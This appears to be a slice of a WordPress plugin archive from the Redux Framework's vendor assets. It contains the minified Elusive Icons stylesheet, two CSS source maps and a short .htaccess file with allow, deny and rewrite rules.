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", "sources": ["elusive-icons.scss"], "names": [], "file": "elusive-icons.css" }lib/redux-framework/assets/css/vendor/elusive-icons/elusive-icons.css000064400000051336147206624460022132 0ustar00/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'Elusive-Icons';src:url("fonts/elusiveicons-webfont.eot?v=2.0.0");src:url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"),url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"),url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"),url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg");font-weight:normal;font-style:normal}.el{display:inline-block;font:normal normal normal 14px/1 "Elusive-Icons";font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:translate(0, 0)}.el-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-15%}.el-2x{font-size:2em}.el-3x{font-size:3em}.el-4x{font-size:4em}.el-5x{font-size:5em}.el-fw{width:1.2857142857em;text-align:center}.el-ul{padding-left:0;margin-left:2.1428571429em;list-style-type:none}.el-ul>li{position:relative}.el-li{position:absolute;left:-2.1428571429em;width:2.1428571429em;top:.1428571429em;text-align:center}.el-li.el-lg{left:-1.8571428571em}.el-border{padding:.2em .25em .15em;border:solid 0.08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.el-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.el-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.el-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.el-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.el-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .el-rotate-90,:root .el-rotate-180,:root .el-rotate-270,:root .el-flip-horizontal,:root .el-flip-vertical{filter:none}.el-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.el-stack-1x,.el-stack-2x{position:absolute;left:0;width:100%;text-align:center}.el-stack-1x{line-height:inherit}.el-stack-2x{font-size:2em}.el-inverse{color:#fff}.el-icon-address-book-alt:before,.el-address-book-alt:before{content:""}.el-icon-address-book:before,.el-address-book:before{content:""}.el-icon-adjust-alt:before,.el-adjust-alt:before{content:""}.el-icon-adjust:before,.el-adjust:before{content:""}.el-icon-adult:before,.el-adult:before{content:""}.el-icon-align-center:before,.el-align-center:before{content:""}.el-icon-align-justify:before,.el-align-justify:before{content:""}.el-icon-align-left:before,.el-align-left:before{content:""}.el-icon-align-right:before,.el-align-right:before{content:""}.el-icon-arrow-down:before,.el-arrow-down:before{content:""}.el-icon-arrow-left:before,.el-arrow-left:before{content:""}.el-icon-arrow-right:before,.el-arrow-right:before{content:""}.el-icon-arrow-up:before,.el-arrow-up:before{content:""}.el-icon-asl:before,.el-asl:before{content:""}.el-icon-asterisk:before,.el-asterisk:before{content:""}.el-icon-backward:before,.el-backward:before{content:""}.el-icon-ban-circle:before,.el-ban-circle:before{content:""}.el-icon-barcode:before,.el-barcode:before{content:""}.el-icon-behance:before,.el-behance:before{content:""}.el-icon-bell:before,.el-bell:before{content:""}.el-icon-blind:before,.el-blind:before{content:""}.el-icon-blogger:before,.el-blogger:before{content:""}.el-icon-bold:before,.el-bold:before{content:""}.el-icon-book:before,.el-book:before{content:""}.el-icon-bookmark-empty:before,.el-bookmark-empty:before{content:""}.el-icon-bookmark:before,.el-bookmark:before{content:""}.el-icon-brackets:before,.el-brackets:before{content:""}.el-icon-braille:before,.el-braille:before{content:""}.el-icon-briefcase:before,.el-briefcase:before{content:""}.el-icon-broom:before,.el-broom:before{content:""}.el-icon-brush:before,.el-brush:before{content:""}.el-icon-bulb:before,.el-bulb:before{content:""}.el-icon-bullhorn:before,.el-bullhorn:before{content:""}.el-icon-calendar-sign:before,.el-calendar-sign:before{content:""}.el-icon-calendar:before,.el-calendar:before{content:""}.el-icon-camera:before,.el-camera:before{content:""}.el-icon-car:before,.el-car:before{content:""}.el-icon-caret-down:before,.el-caret-down:before{content:""}.el-icon-caret-left:before,.el-caret-left:before{content:""}.el-icon-caret-right:before,.el-caret-right:before{content:""}.el-icon-caret-up:before,.el-caret-up:before{content:""}.el-icon-cc:before,.el-cc:before{content:""}.el-icon-certificate:before,.el-certificate:before{content:""}.el-icon-check-empty:before,.el-check-empty:before{content:""}.el-icon-check:before,.el-check:before{content:""}.el-icon-chevron-down:before,.el-chevron-down:before{content:""}.el-icon-chevron-left:before,.el-chevron-left:before{content:""}.el-icon-chevron-right:before,.el-chevron-right:before{content:""}.el-icon-chevron-up:before,.el-chevron-up:before{content:""}.el-icon-child:before,.el-child:before{content:""}.el-icon-circle-arrow-down:before,.el-circle-arrow-down:before{content:""}.el-icon-circle-arrow-left:before,.el-circle-arrow-left:before{content:""}.el-icon-circle-arrow-right:before,.el-circle-arrow-right:before{content:""}.el-icon-circle-arrow-up:before,.el-circle-arrow-up:before{content:""}.el-icon-cloud-alt:before,.el-cloud-alt:before{content:""}.el-icon-cloud:before,.el-cloud:before{content:""}.el-icon-cog-alt:before,.el-cog-alt:before{content:""}.el-icon-cog:before,.el-cog:before{content:""}.el-icon-cogs:before,.el-cogs:before{content:""}.el-icon-comment-alt:before,.el-comment-alt:before{content:""}.el-icon-comment:before,.el-comment:before{content:""}.el-icon-compass-alt:before,.el-compass-alt:before{content:""}.el-icon-compass:before,.el-compass:before{content:""}.el-icon-credit-card:before,.el-credit-card:before{content:""}.el-icon-css:before,.el-css:before{content:""}.el-icon-dashboard:before,.el-dashboard:before{content:""}.el-icon-delicious:before,.el-delicious:before{content:""}.el-icon-deviantart:before,.el-deviantart:before{content:""}.el-icon-digg:before,.el-digg:before{content:""}.el-icon-download-alt:before,.el-download-alt:before{content:""}.el-icon-download:before,.el-download:before{content:""}.el-icon-dribbble:before,.el-dribbble:before{content:""}.el-icon-edit:before,.el-edit:before{content:""}.el-icon-eject:before,.el-eject:before{content:""}.el-icon-envelope-alt:before,.el-envelope-alt:before{content:""}.el-icon-envelope:before,.el-envelope:before{content:""}.el-icon-error-alt:before,.el-error-alt:before{content:""}.el-icon-error:before,.el-error:before{content:""}.el-icon-eur:before,.el-eur:before{content:""}.el-icon-exclamation-sign:before,.el-exclamation-sign:before{content:""}.el-icon-eye-close:before,.el-eye-close:before{content:""}.el-icon-eye-open:before,.el-eye-open:before{content:""}.el-icon-facebook:before,.el-facebook:before{content:""}.el-icon-facetime-video:before,.el-facetime-video:before{content:""}.el-icon-fast-backward:before,.el-fast-backward:before{content:""}.el-icon-fast-forward:before,.el-fast-forward:before{content:""}.el-icon-female:before,.el-female:before{content:""}.el-icon-file-alt:before,.el-file-alt:before{content:""}.el-icon-file-edit-alt:before,.el-file-edit-alt:before{content:""}.el-icon-file-edit:before,.el-file-edit:before{content:""}.el-icon-file-new-alt:before,.el-file-new-alt:before{content:""}.el-icon-file-new:before,.el-file-new:before{content:""}.el-icon-file:before,.el-file:before{content:""}.el-icon-film:before,.el-film:before{content:""}.el-icon-filter:before,.el-filter:before{content:""}.el-icon-fire:before,.el-fire:before{content:""}.el-icon-flag-alt:before,.el-flag-alt:before{content:""}.el-icon-flag:before,.el-flag:before{content:""}.el-icon-flickr:before,.el-flickr:before{content:""}.el-icon-folder-close:before,.el-folder-close:before{content:""}.el-icon-folder-open:before,.el-folder-open:before{content:""}.el-icon-folder-sign:before,.el-folder-sign:before{content:""}.el-icon-folder:before,.el-folder:before{content:""}.el-icon-font:before,.el-font:before{content:""}.el-icon-fontsize:before,.el-fontsize:before{content:""}.el-icon-fork:before,.el-fork:before{content:""}.el-icon-forward-alt:before,.el-forward-alt:before{content:""}.el-icon-forward:before,.el-forward:before{content:""}.el-icon-foursquare:before,.el-foursquare:before{content:""}.el-icon-friendfeed-rect:before,.el-friendfeed-rect:before{content:""}.el-icon-friendfeed:before,.el-friendfeed:before{content:""}.el-icon-fullscreen:before,.el-fullscreen:before{content:""}.el-icon-gallery:before,.el-gallery:before{content:""}.el-icon-gbp:before,.el-gbp:before{content:""}.el-icon-gift:before,.el-gift:before{content:""}.el-icon-github-text:before,.el-github-text:before{content:""}.el-icon-github:before,.el-github:before{content:""}.el-icon-glass:before,.el-glass:before{content:""}.el-icon-glasses:before,.el-glasses:before{content:""}.el-icon-globe-alt:before,.el-globe-alt:before{content:""}.el-icon-globe:before,.el-globe:before{content:""}.el-icon-googleplus:before,.el-googleplus:before{content:""}.el-icon-graph-alt:before,.el-graph-alt:before{content:""}.el-icon-graph:before,.el-graph:before{content:""}.el-icon-group-alt:before,.el-group-alt:before{content:""}.el-icon-group:before,.el-group:before{content:""}.el-icon-guidedog:before,.el-guidedog:before{content:""}.el-icon-hand-down:before,.el-hand-down:before{content:""}.el-icon-hand-left:before,.el-hand-left:before{content:""}.el-icon-hand-right:before,.el-hand-right:before{content:""}.el-icon-hand-up:before,.el-hand-up:before{content:""}.el-icon-hdd:before,.el-hdd:before{content:""}.el-icon-headphones:before,.el-headphones:before{content:""}.el-icon-hearing-impaired:before,.el-hearing-impaired:before{content:""}.el-icon-heart-alt:before,.el-heart-alt:before{content:""}.el-icon-heart-empty:before,.el-heart-empty:before{content:""}.el-icon-heart:before,.el-heart:before{content:""}.el-icon-home-alt:before,.el-home-alt:before{content:""}.el-icon-home:before,.el-home:before{content:""}.el-icon-hourglass:before,.el-hourglass:before{content:""}.el-icon-idea-alt:before,.el-idea-alt:before{content:""}.el-icon-idea:before,.el-idea:before{content:""}.el-icon-inbox-alt:before,.el-inbox-alt:before{content:""}.el-icon-inbox-box:before,.el-inbox-box:before{content:""}.el-icon-inbox:before,.el-inbox:before{content:""}.el-icon-indent-left:before,.el-indent-left:before{content:""}.el-icon-indent-right:before,.el-indent-right:before{content:""}.el-icon-info-circle:before,.el-info-circle:before{content:""}.el-icon-instagram:before,.el-instagram:before{content:""}.el-icon-iphone-home:before,.el-iphone-home:before{content:""}.el-icon-italic:before,.el-italic:before{content:""}.el-icon-key:before,.el-key:before{content:""}.el-icon-laptop-alt:before,.el-laptop-alt:before{content:""}.el-icon-laptop:before,.el-laptop:before{content:""}.el-icon-lastfm:before,.el-lastfm:before{content:""}.el-icon-leaf:before,.el-leaf:before{content:""}.el-icon-lines:before,.el-lines:before{content:""}.el-icon-link:before,.el-link:before{content:""}.el-icon-linkedin:before,.el-linkedin:before{content:""}.el-icon-list-alt:before,.el-list-alt:before{content:""}.el-icon-list:before,.el-list:before{content:""}.el-icon-livejournal:before,.el-livejournal:before{content:""}.el-icon-lock-alt:before,.el-lock-alt:before{content:""}.el-icon-lock:before,.el-lock:before{content:""}.el-icon-magic:before,.el-magic:before{content:""}.el-icon-magnet:before,.el-magnet:before{content:""}.el-icon-male:before,.el-male:before{content:""}.el-icon-map-marker-alt:before,.el-map-marker-alt:before{content:""}.el-icon-map-marker:before,.el-map-marker:before{content:""}.el-icon-mic-alt:before,.el-mic-alt:before{content:""}.el-icon-mic:before,.el-mic:before{content:""}.el-icon-minus-sign:before,.el-minus-sign:before{content:""}.el-icon-minus:before,.el-minus:before{content:""}.el-icon-move:before,.el-move:before{content:""}.el-icon-music:before,.el-music:before{content:""}.el-icon-myspace:before,.el-myspace:before{content:""}.el-icon-network:before,.el-network:before{content:""}.el-icon-off:before,.el-off:before{content:""}.el-icon-ok-circle:before,.el-ok-circle:before{content:""}.el-icon-ok-sign:before,.el-ok-sign:before{content:""}.el-icon-ok:before,.el-ok:before{content:""}.el-icon-opensource:before,.el-opensource:before{content:""}.el-icon-paper-clip-alt:before,.el-paper-clip-alt:before{content:""}.el-icon-paper-clip:before,.el-paper-clip:before{content:""}.el-icon-path:before,.el-path:before{content:""}.el-icon-pause-alt:before,.el-pause-alt:before{content:""}.el-icon-pause:before,.el-pause:before{content:""}.el-icon-pencil-alt:before,.el-pencil-alt:before{content:""}.el-icon-pencil:before,.el-pencil:before{content:""}.el-icon-person:before,.el-person:before{content:""}.el-icon-phone-alt:before,.el-phone-alt:before{content:""}.el-icon-phone:before,.el-phone:before{content:""}.el-icon-photo-alt:before,.el-photo-alt:before{content:""}.el-icon-photo:before,.el-photo:before{content:""}.el-icon-picasa:before,.el-picasa:before{content:""}.el-icon-picture:before,.el-picture:before{content:""}.el-icon-plane:before,.el-plane:before{content:""}.el-icon-play-alt:before,.el-play-alt:before{content:""}.el-icon-play-circle:before,.el-play-circle:before{content:""}.el-icon-play:before,.el-play:before{content:""}.el-icon-plurk-alt:before,.el-plurk-alt:before{content:""}.el-icon-plurk:before,.el-plurk:before{content:""}.el-icon-plus-sign:before,.el-plus-sign:before{content:""}.el-icon-plus:before,.el-plus:before{content:""}.el-icon-podcast:before,.el-podcast:before{content:""}.el-icon-print:before,.el-print:before{content:""}.el-icon-puzzle:before,.el-puzzle:before{content:""}.el-icon-qrcode:before,.el-qrcode:before{content:""}.el-icon-question-sign:before,.el-question-sign:before{content:""}.el-icon-question:before,.el-question:before{content:""}.el-icon-quote-alt:before,.el-quote-alt:before{content:""}.el-icon-quote-right-alt:before,.el-quote-right-alt:before{content:""}.el-icon-quote-right:before,.el-quote-right:before{content:""}.el-icon-quotes:before,.el-quotes:before{content:""}.el-icon-random:before,.el-random:before{content:""}.el-icon-record:before,.el-record:before{content:""}.el-icon-reddit:before,.el-reddit:before{content:""}.el-icon-redux:before,.el-redux:before{content:""}.el-icon-refresh:before,.el-refresh:before{content:""}.el-icon-remove-circle:before,.el-remove-circle:before{content:""}.el-icon-remove-sign:before,.el-remove-sign:before{content:""}.el-icon-remove:before,.el-remove:before{content:""}.el-icon-repeat-alt:before,.el-repeat-alt:before{content:""}.el-icon-repeat:before,.el-repeat:before{content:""}.el-icon-resize-full:before,.el-resize-full:before{content:""}.el-icon-resize-horizontal:before,.el-resize-horizontal:before{content:""}.el-icon-resize-small:before,.el-resize-small:before{content:""}.el-icon-resize-vertical:before,.el-resize-vertical:before{content:""}.el-icon-return-key:before,.el-return-key:before{content:""}.el-icon-retweet:before,.el-retweet:before{content:""}.el-icon-reverse-alt:before,.el-reverse-alt:before{content:""}.el-icon-road:before,.el-road:before{content:""}.el-icon-rss:before,.el-rss:before{content:""}.el-icon-scissors:before,.el-scissors:before{content:""}.el-icon-screen-alt:before,.el-screen-alt:before{content:""}.el-icon-screen:before,.el-screen:before{content:""}.el-icon-screenshot:before,.el-screenshot:before{content:""}.el-icon-search-alt:before,.el-search-alt:before{content:""}.el-icon-search:before,.el-search:before{content:""}.el-icon-share-alt:before,.el-share-alt:before{content:""}.el-icon-share:before,.el-share:before{content:""}.el-icon-shopping-cart-sign:before,.el-shopping-cart-sign:before{content:""}.el-icon-shopping-cart:before,.el-shopping-cart:before{content:""}.el-icon-shortcode:before,.el-shortcode:before{content:""}.el-icon-signal:before,.el-signal:before{content:""}.el-icon-skype:before,.el-skype:before{content:""}.el-icon-slideshare:before,.el-slideshare:before{content:""}.el-icon-smiley-alt:before,.el-smiley-alt:before{content:""}.el-icon-smiley:before,.el-smiley:before{content:""}.el-icon-soundcloud:before,.el-soundcloud:before{content:""}.el-icon-speaker:before,.el-speaker:before{content:""}.el-icon-spotify:before,.el-spotify:before{content:""}.el-icon-stackoverflow:before,.el-stackoverflow:before{content:""}.el-icon-star-alt:before,.el-star-alt:before{content:""}.el-icon-star-empty:before,.el-star-empty:before{content:""}.el-icon-star:before,.el-star:before{content:""}.el-icon-step-backward:before,.el-step-backward:before{content:""}.el-icon-step-forward:before,.el-step-forward:before{content:""}.el-icon-stop-alt:before,.el-stop-alt:before{content:""}.el-icon-stop:before,.el-stop:before{content:""}.el-icon-stumbleupon:before,.el-stumbleupon:before{content:""}.el-icon-tag:before,.el-tag:before{content:""}.el-icon-tags:before,.el-tags:before{content:""}.el-icon-tasks:before,.el-tasks:before{content:""}.el-icon-text-height:before,.el-text-height:before{content:""}.el-icon-text-width:before,.el-text-width:before{content:""}.el-icon-th-large:before,.el-th-large:before{content:""}.el-icon-th-list:before,.el-th-list:before{content:""}.el-icon-th:before,.el-th:before{content:""}.el-icon-thumbs-down:before,.el-thumbs-down:before{content:""}.el-icon-thumbs-up:before,.el-thumbs-up:before{content:""}.el-icon-time-alt:before,.el-time-alt:before{content:""}.el-icon-time:before,.el-time:before{content:""}.el-icon-tint:before,.el-tint:before{content:""}.el-icon-torso:before,.el-torso:before{content:""}.el-icon-trash-alt:before,.el-trash-alt:before{content:""}.el-icon-trash:before,.el-trash:before{content:""}.el-icon-tumblr:before,.el-tumblr:before{content:""}.el-icon-twitter:before,.el-twitter:before{content:""}.el-icon-universal-access:before,.el-universal-access:before{content:""}.el-icon-unlock-alt:before,.el-unlock-alt:before{content:""}.el-icon-unlock:before,.el-unlock:before{content:""}.el-icon-upload:before,.el-upload:before{content:""}.el-icon-usd:before,.el-usd:before{content:""}.el-icon-user:before,.el-user:before{content:""}.el-icon-viadeo:before,.el-viadeo:before{content:""}.el-icon-video-alt:before,.el-video-alt:before{content:""}.el-icon-video-chat:before,.el-video-chat:before{content:""}.el-icon-video:before,.el-video:before{content:""}.el-icon-view-mode:before,.el-view-mode:before{content:""}.el-icon-vimeo:before,.el-vimeo:before{content:""}.el-icon-vkontakte:before,.el-vkontakte:before{content:""}.el-icon-volume-down:before,.el-volume-down:before{content:""}.el-icon-volume-off:before,.el-volume-off:before{content:""}.el-icon-volume-up:before,.el-volume-up:before{content:""}.el-icon-w3c:before,.el-w3c:before{content:""}.el-icon-warning-sign:before,.el-warning-sign:before{content:""}.el-icon-website-alt:before,.el-website-alt:before{content:""}.el-icon-website:before,.el-website:before{content:""}.el-icon-wheelchair:before,.el-wheelchair:before{content:""}.el-icon-wordpress:before,.el-wordpress:before{content:""}.el-icon-wrench-alt:before,.el-wrench-alt:before{content:""}.el-icon-wrench:before,.el-wrench:before{content:""}.el-icon-youtube:before,.el-youtube:before{content:""}.el-icon-zoom-in:before,.el-zoom-in:before{content:""}.el-icon-zoom-out:before,.el-zoom-out:before{content:""} lib/redux-framework/assets/css/vendor/elusive-icons/.htaccess000064400000001626147206624460020426 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/vendor/spectrum/redux-spectrum.css.map000064400000016352147206624460022164 0ustar00{ "version": 3, "mappings": "AAAA;;;;;IAKI;AAEJ,aAAc;EACV,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,IAAI,EAAE,CAAC;EACP,OAAO,EAAE,YAAY;EACrB,QAAQ,EAAE,MAAM;EAChB,KAAK,EAAE,CAAC;EACR,kDAAkD;EAClD,OAAO,EAAE,OAAO;EAChB,QAAQ,EAAE,MAAM;;AAIpB,qBAAsB;EAClB,QAAQ,EAAE,QAAQ;;AAGtB,2CAA2C;AAC3C;eACgB;EACZ,kBAAkB,EAAE,WAAW;EAC/B,eAAe,EAAE,WAAW;EAC5B,UAAU,EAAE,WAAW;;AAG3B,iEAAiE;AACjE,OAAQ;EACJ,QAAQ,EAAE,QAAQ;EAClB,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,YAAY;;AAGzB,aAAc;EACV,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,IAAI,EAAE,CAAC;EACP,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,CAAC;;AAGZ,SAAU;EACN,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,IAAI,EAAE,CAAC;EACP,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,GAAG;;AAGd,OAAQ;EACJ,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,KAAK,EAAE,CAAC;EACR,MAAM,EAAE,CAAC;EACT,IAAI,EAAE,GAAG;EACT,MAAM,EAAE,IAAI;;AAGhB,yBAA0B;EACtB,GAAG,EAAE,IAAI;EACT,MAAM,EAAE,KAAK;;AAGjB,QAAS;EACL,WAAW,EAAE,GAAG;;AAGpB,gBAAiB;EACb,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EA